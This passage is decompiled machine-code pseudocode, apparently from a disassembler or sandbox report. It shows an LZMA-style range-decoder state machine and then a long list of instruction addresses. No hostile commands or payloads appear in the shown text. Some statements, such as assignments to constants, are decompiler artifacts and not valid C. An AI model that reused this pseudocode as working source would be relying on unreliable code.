                                                                                    												_t487 = __ebp - 0x48;
                                                                                    												 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                    												__eflags =  *_t487;
                                                                                    												L149:
                                                                                    												__eflags =  *(__ebp - 0x48);
                                                                                    												if( *(__ebp - 0x48) <= 0) {
                                                                                    													__ecx =  *(__ebp - 0x40);
                                                                                    													__ebx =  *(__ebp - 0x50);
                                                                                    													0 = 1;
                                                                                    													__eax = 1 << __cl;
                                                                                    													__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                    													__eax =  *(__ebp - 0x7c);
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    													while(1) {
                                                                                    														 *(_t621 - 0x88) = _t542;
                                                                                    														goto L1;
                                                                                    													}
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x50);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__esi = __edx + __eax;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__ax =  *__esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eax = __eax - __ecx;
                                                                                    													__edx = __edx + 1;
                                                                                    													__eflags = __edx;
                                                                                    													 *__esi = __ax;
                                                                                    													 *(__ebp - 0x50) = __edx;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													goto L148;
                                                                                    												} else {
                                                                                    													goto L146;
                                                                                    												}
                                                                                    											case 0x19:
                                                                                    												__eflags = __ebx - 4;
                                                                                    												if(__ebx < 4) {
                                                                                    													 *(__ebp - 0x2c) = __ebx;
                                                                                    													L119:
                                                                                    													_t393 = __ebp - 0x2c;
                                                                                    													 *_t393 =  *(__ebp - 0x2c) + 1;
                                                                                    													__eflags =  *_t393;
                                                                                    													L120:
                                                                                    													__eax =  *(__ebp - 0x2c);
                                                                                    													__eflags = __eax;
                                                                                    													if(__eax == 0) {
                                                                                    														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                                                                    														goto L170;
                                                                                    													}
                                                                                    													__eflags = __eax -  *(__ebp - 0x60);
                                                                                    													if(__eax >  *(__ebp - 0x60)) {
                                                                                    														goto L171;
                                                                                    													}
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                                                                    													__eax =  *(__ebp - 0x30);
                                                                                    													_t400 = __ebp - 0x60;
                                                                                    													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                                                                    													__eflags =  *_t400;
                                                                                    													goto L123;
                                                                                    												}
                                                                                    												__ecx = __ebx;
                                                                                    												__eax = __ebx;
                                                                                    												__ecx = __ebx >> 1;
                                                                                    												__eax = __ebx & 0x00000001;
                                                                                    												__ecx = (__ebx >> 1) - 1;
                                                                                    												__al = __al | 0x00000002;
                                                                                    												__eax = (__ebx & 0x00000001) << __cl;
                                                                                    												__eflags = __ebx - 0xe;
                                                                                    												 *(__ebp - 0x2c) = __eax;
                                                                                    												if(__ebx >= 0xe) {
                                                                                    													__ebx = 0;
                                                                                    													 *(__ebp - 0x48) = __ecx;
                                                                                    													L102:
                                                                                    													__eflags =  *(__ebp - 0x48);
                                                                                    													if( *(__ebp - 0x48) <= 0) {
                                                                                    														__eax = __eax + __ebx;
                                                                                    														 *(__ebp - 0x40) = 4;
                                                                                    														 *(__ebp - 0x2c) = __eax;
                                                                                    														__eax =  *(__ebp - 4);
                                                                                    														__eax =  *(__ebp - 4) + 0x644;
                                                                                    														__eflags = __eax;
                                                                                    														L108:
                                                                                    														__ebx = 0;
                                                                                    														 *(__ebp - 0x58) = __eax;
                                                                                    														 *(__ebp - 0x50) = 1;
                                                                                    														 *(__ebp - 0x44) = 0;
                                                                                    														 *(__ebp - 0x48) = 0;
                                                                                    														L112:
                                                                                    														__eax =  *(__ebp - 0x40);
                                                                                    														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                                                                    															_t391 = __ebp - 0x2c;
                                                                                    															 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                                                                    															__eflags =  *_t391;
                                                                                    															goto L119;
                                                                                    														}
                                                                                    														__eax =  *(__ebp - 0x50);
                                                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                    														__eax =  *(__ebp - 0x58);
                                                                                    														__esi = __edi + __eax;
                                                                                    														 *(__ebp - 0x54) = __esi;
                                                                                    														__ax =  *__esi;
                                                                                    														__ecx = __ax & 0x0000ffff;
                                                                                    														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                                                                    														__eflags =  *(__ebp - 0xc) - __edx;
                                                                                    														if( *(__ebp - 0xc) >= __edx) {
                                                                                    															__ecx = 0;
                                                                                    															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                                                                    															__ecx = 1;
                                                                                    															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                                                                    															__ebx = 1;
                                                                                    															__ecx =  *(__ebp - 0x48);
                                                                                    															__ebx = 1 << __cl;
                                                                                    															__ecx = 1 << __cl;
                                                                                    															__ebx =  *(__ebp - 0x44);
                                                                                    															__ebx =  *(__ebp - 0x44) | __ecx;
                                                                                    															__cx = __ax;
                                                                                    															__cx = __ax >> 5;
                                                                                    															__eax = __eax - __ecx;
                                                                                    															__edi = __edi + 1;
                                                                                    															__eflags = __edi;
                                                                                    															 *(__ebp - 0x44) = __ebx;
                                                                                    															 *__esi = __ax;
                                                                                    															 *(__ebp - 0x50) = __edi;
                                                                                    														} else {
                                                                                    															 *(__ebp - 0x10) = __edx;
                                                                                    															0x800 = 0x800 - __ecx;
                                                                                    															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                                                                    															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                                                                    															 *__esi = __dx;
                                                                                    														}
                                                                                    														__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    														if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    															L111:
                                                                                    															_t368 = __ebp - 0x48;
                                                                                    															 *_t368 =  *(__ebp - 0x48) + 1;
                                                                                    															__eflags =  *_t368;
                                                                                    															goto L112;
                                                                                    														} else {
                                                                                    															goto L109;
                                                                                    														}
                                                                                    													}
                                                                                    													__ecx =  *(__ebp - 0xc);
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                                                                    													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                                                                    														__ecx =  *(__ebp - 0x10);
                                                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                                                                    														__ebx = __ebx | 0x00000001;
                                                                                    														__eflags = __ebx;
                                                                                    														 *(__ebp - 0x44) = __ebx;
                                                                                    													}
                                                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    														L101:
                                                                                    														_t338 = __ebp - 0x48;
                                                                                    														 *_t338 =  *(__ebp - 0x48) - 1;
                                                                                    														__eflags =  *_t338;
                                                                                    														goto L102;
                                                                                    													} else {
                                                                                    														goto L99;
                                                                                    													}
                                                                                    												}
                                                                                    												__edx =  *(__ebp - 4);
                                                                                    												__eax = __eax - __ebx;
                                                                                    												 *(__ebp - 0x40) = __ecx;
                                                                                    												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                                                                    												goto L108;
                                                                                    											case 0x1a:
                                                                                    												L56:
                                                                                    												__eflags =  *(__ebp - 0x64);
                                                                                    												if( *(__ebp - 0x64) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x1a;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x68);
                                                                                    												__al =  *(__ebp - 0x5c);
                                                                                    												__edx =  *(__ebp - 8);
                                                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    												 *( *(__ebp - 0x68)) = __al;
                                                                                    												__ecx =  *(__ebp - 0x14);
                                                                                    												 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                    												__eax = __ecx + 1;
                                                                                    												__edx = 0;
                                                                                    												_t192 = __eax %  *(__ebp - 0x74);
                                                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                                                    												__edx = _t192;
                                                                                    												goto L79;
                                                                                    											case 0x1b:
                                                                                    												L75:
                                                                                    												__eflags =  *(__ebp - 0x64);
                                                                                    												if( *(__ebp - 0x64) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x1b;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__edx =  *(__ebp - 8);
                                                                                    												__cl =  *(__eax + __edx);
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												 *(__ebp - 0x5c) = __cl;
                                                                                    												 *(__eax + __edx) = __cl;
                                                                                    												__eax = __eax + 1;
                                                                                    												__edx = 0;
                                                                                    												_t274 = __eax %  *(__ebp - 0x74);
                                                                                    												__eax = __eax /  *(__ebp - 0x74);
                                                                                    												__edx = _t274;
                                                                                    												__eax =  *(__ebp - 0x68);
                                                                                    												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                    												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    												_t283 = __ebp - 0x64;
                                                                                    												 *_t283 =  *(__ebp - 0x64) - 1;
                                                                                    												__eflags =  *_t283;
                                                                                    												 *( *(__ebp - 0x68)) = __cl;
                                                                                    												L79:
                                                                                    												 *(__ebp - 0x14) = __edx;
                                                                                    												goto L80;
                                                                                    											case 0x1c:
                                                                                    												while(1) {
                                                                                    													L123:
                                                                                    													__eflags =  *(__ebp - 0x64);
                                                                                    													if( *(__ebp - 0x64) == 0) {
                                                                                    														break;
                                                                                    													}
                                                                                    													__eax =  *(__ebp - 0x14);
                                                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                                                    														__eflags = __eax;
                                                                                    													}
                                                                                    													__edx =  *(__ebp - 8);
                                                                                    													__cl =  *(__eax + __edx);
                                                                                    													__eax =  *(__ebp - 0x14);
                                                                                    													 *(__ebp - 0x5c) = __cl;
                                                                                    													 *(__eax + __edx) = __cl;
                                                                                    													__eax = __eax + 1;
                                                                                    													__edx = 0;
                                                                                    													_t414 = __eax %  *(__ebp - 0x74);
                                                                                    													__eax = __eax /  *(__ebp - 0x74);
                                                                                    													__edx = _t414;
                                                                                    													__eax =  *(__ebp - 0x68);
                                                                                    													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                    													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                    													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                                                                    													__eflags =  *(__ebp - 0x30);
                                                                                    													 *( *(__ebp - 0x68)) = __cl;
                                                                                    													 *(__ebp - 0x14) = _t414;
                                                                                    													if( *(__ebp - 0x30) > 0) {
                                                                                    														continue;
                                                                                    													} else {
                                                                                    														L80:
                                                                                    														 *(__ebp - 0x88) = 2;
                                                                                    														goto L1;
                                                                                    													}
                                                                                    												}
                                                                                    												 *(__ebp - 0x88) = 0x1c;
                                                                                    												goto L170;
                                                                                    										}
                                                                                    									}
                                                                                    									L171:
                                                                                    									_t544 = _t543 | 0xffffffff;
                                                                                    									goto L172;
                                                                                    								}
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    					goto L1;
                                                                                    				}
                                                                                    			}














                                                                                    0x00000000
                                                                                    0x00406bc4
                                                                                    0x00406bc4
                                                                                    0x00406bc8
                                                                                    0x00406be9
                                                                                    0x00406bf0
                                                                                    0x00406bf6
                                                                                    0x00406bfc
                                                                                    0x00406c0e
                                                                                    0x00406c14
                                                                                    0x00406c19
                                                                                    0x00000000
                                                                                    0x00406bca
                                                                                    0x00406bd0
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406fe2
                                                                                    0x00406fe6
                                                                                    0x00407195
                                                                                    0x004071ab
                                                                                    0x004071b3
                                                                                    0x004071ba
                                                                                    0x004071bc
                                                                                    0x004071c3
                                                                                    0x004071c7
                                                                                    0x004071c7
                                                                                    0x00406ff2
                                                                                    0x00406ff9
                                                                                    0x00407001
                                                                                    0x00407004
                                                                                    0x00407007
                                                                                    0x00407007
                                                                                    0x0040700d
                                                                                    0x0040700d
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067a9
                                                                                    0x004067b2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x00000000
                                                                                    0x004067c3
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067cc
                                                                                    0x004067cf
                                                                                    0x004067d2
                                                                                    0x004067d6
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067dc
                                                                                    0x004067df
                                                                                    0x004067e1
                                                                                    0x004067e2
                                                                                    0x004067e5
                                                                                    0x004067e7
                                                                                    0x004067e8
                                                                                    0x004067ea
                                                                                    0x004067ed
                                                                                    0x004067f2
                                                                                    0x004067f7
                                                                                    0x00406800
                                                                                    0x00406813
                                                                                    0x00406816
                                                                                    0x00406822
                                                                                    0x0040684a
                                                                                    0x0040684c
                                                                                    0x0040685a
                                                                                    0x0040685a
                                                                                    0x0040685e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x0040684e
                                                                                    0x00406851
                                                                                    0x00406852
                                                                                    0x00406852
                                                                                    0x00000000
                                                                                    0x0040684e
                                                                                    0x00406828
                                                                                    0x0040682d
                                                                                    0x0040682d
                                                                                    0x00406836
                                                                                    0x0040683e
                                                                                    0x00406841
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406847
                                                                                    0x00000000
                                                                                    0x00406864
                                                                                    0x00406864
                                                                                    0x00406868
                                                                                    0x00407114
                                                                                    0x00000000
                                                                                    0x00407114
                                                                                    0x00406871
                                                                                    0x00406881
                                                                                    0x00406884
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x00406887
                                                                                    0x0040688a
                                                                                    0x0040688e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406890
                                                                                    0x00406896
                                                                                    0x004068c0
                                                                                    0x004068c6
                                                                                    0x004068cd
                                                                                    0x00000000
                                                                                    0x004068cd
                                                                                    0x0040689c
                                                                                    0x0040689f
                                                                                    0x004068a4
                                                                                    0x004068a4
                                                                                    0x004068af
                                                                                    0x004068b7
                                                                                    0x004068ba
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068ff
                                                                                    0x00406905
                                                                                    0x00406908
                                                                                    0x00406915
                                                                                    0x0040691d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004068d4
                                                                                    0x004068d4
                                                                                    0x004068d8
                                                                                    0x00407123
                                                                                    0x00000000
                                                                                    0x00407123
                                                                                    0x004068e4
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068ef
                                                                                    0x004068f2
                                                                                    0x004068f5
                                                                                    0x004068f8
                                                                                    0x004068fd
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f94
                                                                                    0x00406f94
                                                                                    0x00406f9a
                                                                                    0x00406fa0
                                                                                    0x00406fa6
                                                                                    0x00406fc0
                                                                                    0x00406fc3
                                                                                    0x00406fc9
                                                                                    0x00406fd4
                                                                                    0x00406fd6
                                                                                    0x00406fa8
                                                                                    0x00406fa8
                                                                                    0x00406fb7
                                                                                    0x00406fbb
                                                                                    0x00406fbb
                                                                                    0x00406fe0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406925
                                                                                    0x00406927
                                                                                    0x0040692a
                                                                                    0x0040699b
                                                                                    0x0040699e
                                                                                    0x004069a1
                                                                                    0x004069a8
                                                                                    0x004069b2
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x0040692c
                                                                                    0x00406930
                                                                                    0x00406933
                                                                                    0x00406935
                                                                                    0x00406938
                                                                                    0x0040693b
                                                                                    0x0040693d
                                                                                    0x00406940
                                                                                    0x00406942
                                                                                    0x00406947
                                                                                    0x0040694a
                                                                                    0x0040694d
                                                                                    0x00406951
                                                                                    0x00406958
                                                                                    0x0040695b
                                                                                    0x00406962
                                                                                    0x00406966
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x0040696e
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x00406968
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x0040695d
                                                                                    0x00406972
                                                                                    0x00406975
                                                                                    0x00406993
                                                                                    0x00406995
                                                                                    0x00000000
                                                                                    0x00406977
                                                                                    0x00406977
                                                                                    0x0040697a
                                                                                    0x0040697d
                                                                                    0x00406980
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406982
                                                                                    0x00406985
                                                                                    0x00406988
                                                                                    0x0040698a
                                                                                    0x0040698b
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x0040698e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c2e
                                                                                    0x00406c32
                                                                                    0x00406c55
                                                                                    0x00406c58
                                                                                    0x00406c5b
                                                                                    0x00406c65
                                                                                    0x00406c34
                                                                                    0x00406c34
                                                                                    0x00406c37
                                                                                    0x00406c3a
                                                                                    0x00406c3d
                                                                                    0x00406c4a
                                                                                    0x00406c4d
                                                                                    0x00406c4d
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406c71
                                                                                    0x00406c75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c7b
                                                                                    0x00406c7f
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c85
                                                                                    0x00406c87
                                                                                    0x00406c8b
                                                                                    0x00406c8b
                                                                                    0x00406c8e
                                                                                    0x00406c92
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406ce2
                                                                                    0x00406ce6
                                                                                    0x00406ced
                                                                                    0x00406cf0
                                                                                    0x00406cf3
                                                                                    0x00406cfd
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406ce8
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d09
                                                                                    0x00406d0d
                                                                                    0x00406d14
                                                                                    0x00406d17
                                                                                    0x00406d1a
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d0f
                                                                                    0x00406d1d
                                                                                    0x00406d20
                                                                                    0x00406d23
                                                                                    0x00406d23
                                                                                    0x00406d26
                                                                                    0x00406d29
                                                                                    0x00406d2c
                                                                                    0x00406d2c
                                                                                    0x00406d2f
                                                                                    0x00406d36
                                                                                    0x00406d3b
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406dc9
                                                                                    0x00406dc9
                                                                                    0x00406dcd
                                                                                    0x0040716b
                                                                                    0x00000000
                                                                                    0x0040716b
                                                                                    0x00406dd3
                                                                                    0x00406dd6
                                                                                    0x00406dd9
                                                                                    0x00406ddd
                                                                                    0x00406de0
                                                                                    0x00406de6
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406de8
                                                                                    0x00406deb
                                                                                    0x00406dee
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069be
                                                                                    0x004069be
                                                                                    0x004069c2
                                                                                    0x0040712f
                                                                                    0x00000000
                                                                                    0x0040712f
                                                                                    0x004069c8
                                                                                    0x004069cb
                                                                                    0x004069ce
                                                                                    0x004069d2
                                                                                    0x004069d5
                                                                                    0x004069db
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069dd
                                                                                    0x004069e0
                                                                                    0x004069e3
                                                                                    0x004069e3
                                                                                    0x004069e6
                                                                                    0x004069e9
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069ef
                                                                                    0x004069f5
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004069fb
                                                                                    0x004069fb
                                                                                    0x004069ff
                                                                                    0x00406a02
                                                                                    0x00406a05
                                                                                    0x00406a08
                                                                                    0x00406a0b
                                                                                    0x00406a0c
                                                                                    0x00406a0f
                                                                                    0x00406a11
                                                                                    0x00406a17
                                                                                    0x00406a1a
                                                                                    0x00406a1d
                                                                                    0x00406a20
                                                                                    0x00406a23
                                                                                    0x00406a26
                                                                                    0x00406a29
                                                                                    0x00406a45
                                                                                    0x00406a48
                                                                                    0x00406a4b
                                                                                    0x00406a4e
                                                                                    0x00406a55
                                                                                    0x00406a59
                                                                                    0x00406a5b
                                                                                    0x00406a5f
                                                                                    0x00406a2b
                                                                                    0x00406a2b
                                                                                    0x00406a2f
                                                                                    0x00406a37
                                                                                    0x00406a3c
                                                                                    0x00406a3e
                                                                                    0x00406a40
                                                                                    0x00406a40
                                                                                    0x00406a62
                                                                                    0x00406a69
                                                                                    0x00406a6c
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a72
                                                                                    0x00000000
                                                                                    0x00406a77
                                                                                    0x00406a77
                                                                                    0x00406a7b
                                                                                    0x0040713b
                                                                                    0x00000000
                                                                                    0x0040713b
                                                                                    0x00406a81
                                                                                    0x00406a84
                                                                                    0x00406a87
                                                                                    0x00406a8b
                                                                                    0x00406a8e
                                                                                    0x00406a94
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a96
                                                                                    0x00406a99
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406a9c
                                                                                    0x00406aa2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406aa4
                                                                                    0x00406aa7
                                                                                    0x00406aaa
                                                                                    0x00406aad
                                                                                    0x00406ab0
                                                                                    0x00406ab3
                                                                                    0x00406ab6
                                                                                    0x00406ab9
                                                                                    0x00406abc
                                                                                    0x00406abf
                                                                                    0x00406ac2
                                                                                    0x00406ada
                                                                                    0x00406add
                                                                                    0x00406ae0
                                                                                    0x00406ae3
                                                                                    0x00406ae3
                                                                                    0x00406ae6
                                                                                    0x00406aea
                                                                                    0x00406aec
                                                                                    0x00406ac4
                                                                                    0x00406ac4
                                                                                    0x00406acc
                                                                                    0x00406ad1
                                                                                    0x00406ad3
                                                                                    0x00406ad5
                                                                                    0x00406ad5
                                                                                    0x00406aef
                                                                                    0x00406af6
                                                                                    0x00406af9
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00000000
                                                                                    0x00406afb
                                                                                    0x00406af9
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00406b00
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406b3b
                                                                                    0x00406b3b
                                                                                    0x00406b3f
                                                                                    0x00407147
                                                                                    0x00000000
                                                                                    0x00407147
                                                                                    0x00406b45
                                                                                    0x00406b48
                                                                                    0x00406b4b
                                                                                    0x00406b4f
                                                                                    0x00406b52
                                                                                    0x00406b58
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5a
                                                                                    0x00406b5d
                                                                                    0x00406b60
                                                                                    0x00406b60
                                                                                    0x00406b66
                                                                                    0x00406b04
                                                                                    0x00406b04
                                                                                    0x00406b07
                                                                                    0x00000000
                                                                                    0x00406b07
                                                                                    0x00406b68
                                                                                    0x00406b68
                                                                                    0x00406b6b
                                                                                    0x00406b6e
                                                                                    0x00406b71
                                                                                    0x00406b74
                                                                                    0x00406b77
                                                                                    0x00406b7a
                                                                                    0x00406b7d
                                                                                    0x00406b80
                                                                                    0x00406b83
                                                                                    0x00406b86
                                                                                    0x00406b9e
                                                                                    0x00406ba1
                                                                                    0x00406ba4
                                                                                    0x00406ba7
                                                                                    0x00406ba7
                                                                                    0x00406baa
                                                                                    0x00406bae
                                                                                    0x00406bb0
                                                                                    0x00406b88
                                                                                    0x00406b88
                                                                                    0x00406b90
                                                                                    0x00406b95
                                                                                    0x00406b97
                                                                                    0x00406b99
                                                                                    0x00406b99
                                                                                    0x00406bb3
                                                                                    0x00406bba
                                                                                    0x00406bbd
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406bbf
                                                                                    0x00000000
                                                                                    0x00406e4c
                                                                                    0x00406e4c
                                                                                    0x00406e50
                                                                                    0x00407177
                                                                                    0x00000000
                                                                                    0x00407177
                                                                                    0x00406e56
                                                                                    0x00406e59
                                                                                    0x00406e5c
                                                                                    0x00406e60
                                                                                    0x00406e63
                                                                                    0x00406e69
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6b
                                                                                    0x00406e6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c1c
                                                                                    0x00406c1c
                                                                                    0x00406c1f
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f5b
                                                                                    0x00406f5f
                                                                                    0x00406f81
                                                                                    0x00406f84
                                                                                    0x00406f8e
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00000000
                                                                                    0x00406f91
                                                                                    0x00406f91
                                                                                    0x00406f61
                                                                                    0x00406f64
                                                                                    0x00406f68
                                                                                    0x00406f6b
                                                                                    0x00406f6b
                                                                                    0x00406f6e
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407018
                                                                                    0x0040701c
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x0040703a
                                                                                    0x00407041
                                                                                    0x00407048
                                                                                    0x0040704f
                                                                                    0x0040704f
                                                                                    0x00000000
                                                                                    0x0040704f
                                                                                    0x0040701e
                                                                                    0x00407021
                                                                                    0x00407024
                                                                                    0x00407027
                                                                                    0x0040702e
                                                                                    0x00406f72
                                                                                    0x00406f72
                                                                                    0x00406f75
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407109
                                                                                    0x0040710c
                                                                                    0x0040700d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d43
                                                                                    0x00406d45
                                                                                    0x00406d4c
                                                                                    0x00406d4d
                                                                                    0x00406d4f
                                                                                    0x00406d52
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406d5a
                                                                                    0x00406d5d
                                                                                    0x00406d60
                                                                                    0x00406d62
                                                                                    0x00406d64
                                                                                    0x00406d64
                                                                                    0x00406d65
                                                                                    0x00406d68
                                                                                    0x00406d6f
                                                                                    0x00406d72
                                                                                    0x00406d80
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407056
                                                                                    0x00407056
                                                                                    0x00407059
                                                                                    0x00407060
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00407065
                                                                                    0x00407065
                                                                                    0x00407069
